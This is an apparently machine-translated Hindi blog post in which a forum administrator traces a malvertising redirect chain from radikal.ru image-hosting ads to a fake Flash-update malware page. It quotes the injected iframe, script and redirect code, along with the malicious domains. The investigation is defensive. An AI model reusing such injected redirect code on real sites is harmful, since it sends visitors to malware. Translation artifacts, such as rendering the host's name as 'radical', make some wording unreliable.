🤳 🙎🏾 💇🏻 कट्टरपंथी से वायरस। फिर! 🌀 ☝🏽 👫

कहानी एक एसएमएस के साथ शुरू हुई "गो स्काइपे तत्काल", क्लाइंट को लिखा, साइटों में से एक का मालिक, जिसे मैं खुद इस साइट की महत्वपूर्ण गतिविधि सुनिश्चित करने में मदद करता हूं। यह पता चला कि उन्हें एक निश्चित अलेक्जेंडर गोर्याचेव से एक पत्र मिला है जिसमें कहा गया है कि साइट सबसे अधिक संक्रमित थी।

यहाँ पत्र का पाठ है:

नमस्ते

मेरा नाम अलेक्जेंडर गोर्याचेव है, मैं डॉक्टर वेब पर एक विश्लेषक हूं।

ऐसी जानकारी है कि जब आप इस विषय में छवियाँ खोलते हैं yarportal.ru/topic324608s0.html yarportal.ru फॉर्म पर, तो आप radikal.ru होस्टिंग साइट से एक धोखाधड़ी वाली साइट पर रीडायरेक्ट कर दिए जाते हैं जो सॉफ़्टवेयर अपडेट की आड़ में मोबाइल उपकरणों के लिए मैलवेयर वितरित करती है। यही है, यदि आप एक मोबाइल डिवाइस (फोन, स्मार्टफोन) का उपयोग कर रहे हैं, तो पहले radikal.ru पेज वांछित छवि के साथ खुलता है, लेकिन फिर इसे लगभग तुरंत एक धोखाधड़ी वाली साइट पर भेज दिया जाता है (उदाहरण के लिए, newbrwzer.com/?a.u264w264z413x4u2w2x2t2v2y2u2u3x49/49496496)। यदि आप सीधे yarportal.ru के सामने एक मध्यवर्ती लिंक के बिना, होस्टिंग पर छवियों को खोलते हैं, तो यह व्यवहार नहीं देखा जाता है। शायद yarportal.ru को हैक कर लिया गया था या यह एक अनुचित विज्ञापन मॉडल का उपयोग करता है, जिसके बारे में पोर्टल मालिकों को पता नहीं होगा।

संपर्क जानकारी में से, आपका सबसे उपयुक्त था, इसलिए इस पर रिपोर्ट करने का निर्णय लिया गया था। क्या आप किसी तरह स्थिति पर टिप्पणी कर सकते हैं और इस मुद्दे से निपट सकते हैं? यदि आप कोई जानकारी दे सकते हैं तो हम आपके आभारी होंगे।

आपका धन्यवाद

साइट एक काफी बड़ा मंच है, क्रमशः, उपयोगकर्ता कहीं भी चित्र अपलोड करते हैं, और फिर वहाँ लिंक उस रूप में डालते हैं जो चित्र होस्टिंग उन्हें दिखाता है। कट्टरपंथी, अफसोस, सबसे लोकप्रिय में से एक है।

मैंने विश्लेषक की कार्रवाइयों को दोहराने और मोबाइल डिवाइस पर जाने वाले ट्रैफ़िक को स्कैन करने की कोशिश की। वास्तव में, इसी न्यूब्रज़र के लिए एक रीडायरेक्ट होता है, लेकिन यह पूरी तरह से स्पष्ट नहीं है कि हमारी साइट को इसके साथ क्या करना है। ट्रैफ़िक के विश्लेषण से पता चला कि मूलक स्वयं लगभग निम्न तरीके से दुर्भावनापूर्ण लिंक देता है:

$ curl -s http://radikal.ru/F/s45.radikal.ru/i107/1205/76/593cc990c6ae.jpg.html | grep adv-port <script>document.write('<iframe border="0" marginwidth="0" marginheight="0" src="http://adv-port.com/view2.php?title='+document.title+'&referrer='+document.referrer+'&lang='+navigator.language+'"frameborder="0" height="120" scrolling="no" width="240"></iframe>');</script>

इसके बाद, यह ब्राउज़र को फ़ॉर्म के पृष्ठ पर भेजता है:

 http://adv-port.com/view2.php?title=%D0%A0%D0%B0%D0%B4%D0%B8%D0%BA%D0%B0%D0%BB-%D0%A4%D0%BE%D1%82%D0%BE%20::%20%D0%A3%D0%B2%D0%B5%D0%BB%D0%B8%D1%87%D0%B5%D0%BD%D0%BD%D0%BE%D0%B5%20%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5&referrer=http://yarportal.ru/topic324608s0.html&lang=en

निम्नलिखित कोड कहाँ पाया जाता है:

 <script src="http://adv-port.com/ctr.php?ref='+document.referrer+'"></script>

निम्नलिखित कोड adv-port.com/ctr.php?ref= '+ document.referrer +' पर उपलब्ध है:

 function error() { top.location='http://network-sitead.com/'; }

इस लिंक में निम्नलिखित कोड हैं:

 <script src='http://on-line-adv.com/2.php'></script>

इस लिंक को डाउनलोड करने से निम्नलिखित परिणाम प्राप्त होते हैं:

 document.location='http://newbrwzer.com/?a=u264w264z413x4u2w4x2t2v2y3u2x494q233c4y2b4w26413'

यानी अंत में, ब्राउज़र वास्तव में फ्लैश प्लेयर को "अपडेट" करने की पेशकश के साथ पृष्ठ पर पहुंच जाता है। यह थोड़ी देर बाद पता चला कि कुछ उपयोगकर्ता वास्तव में इसे "अपडेट" करते हैं: yarportal.ru/topic332505.html

इस "जांच" के परिणामस्वरूप 3 प्रश्न उत्पन्न होते हैं:

ऐसी विज्ञापन नीति से कट्टरपंथी कब मरेंगे? उनके माध्यम से वायरस के प्रसार का यह पहला मामला नहीं है।
Dr.Web को वे विश्लेषक कहां मिलते हैं जो वायरशर्क / tcpdump के माध्यम से ट्रैफ़िक को देखने की जहमत नहीं उठाते हैं?
या यह सिर्फ इतना है कि मैं मूर्ख हूं और साइट वास्तव में संक्रमित है? :)

पुनश्च: विश्लेषक को वास्तव में Dr.Web के साथ क्या करना है, उसका लेख हब पर है habrahabr.ru/company/drweb/blog/142993 ब्लॉग

यूपीडी: कट्टरपंथी का उपयोग नहीं करने के लिए - यह, ज़ाहिर है, एक महान विचार है, क्षमा करें, यूटोपिया के बहुत करीब। यह अधिक दिलचस्प है कि वायरस नियमित रूप से वहां क्यों दिखाई देते हैं, और इनमें से कितने अधिक "अपडेट" इस साइट से वितरित किए गए हैं, कट्टरपंथी हू के दर्शक)

UPD2: कट्टरपंथी के लिए विकल्पों की पेशकश करने की आवश्यकता नहीं है, मैं पहले से ही उन्हें जानता हूं, धन्यवाद।

कट्टरपंथी से वायरस। फिर!

More articles: